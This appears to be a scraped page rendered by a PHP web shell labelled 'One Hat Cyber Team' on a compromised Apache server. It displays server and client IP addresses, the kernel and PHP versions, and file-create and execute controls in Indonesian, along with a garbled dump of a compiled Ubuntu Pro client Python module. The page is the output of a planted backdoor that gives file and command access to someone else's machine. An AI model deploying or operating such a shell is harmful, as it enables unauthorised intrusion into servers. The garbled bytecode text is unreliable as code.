⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
uaclient
/
__pycache__
/
View File Name :
event_logger.cpython-310.pyc
o ϴfA @ s d Z ddlZddlZddlZddlmZmZmZmZm Z m Z ddlmZ dZ ee eeeef f Zdadd ZejG dd d ejZd eeef deeef fdd ZG dd dZdS )a$ This module is responsible for handling all events that must be raised to the user somehow. The main idea behind this module is to centralize all events that happens during the execution of Pro commands and allows us to report those events in real time or through a machine-readable format. N)AnyDictListOptionalSetUnion) safe_dumpz0.1c C s t d u rt a t S N) _event_loggerEventLogger r r 7/usr/lib/python3/dist-packages/uaclient/event_logger.pyget_event_logger s r c @ s" e Zd ZdZe Ze Ze ZdS )EventLoggerModea Defines event logger supported modes. Currently, we only support the cli and machine-readable mode. On cli mode, we will print to stdout/stderr any event that we receive. Otherwise, we will store those events and parse them for the specified format. N)__name__ __module____qualname____doc__objectCLIJSONYAMLr r r r r s r statusreturnc C sh ddl m} dd t| D | d<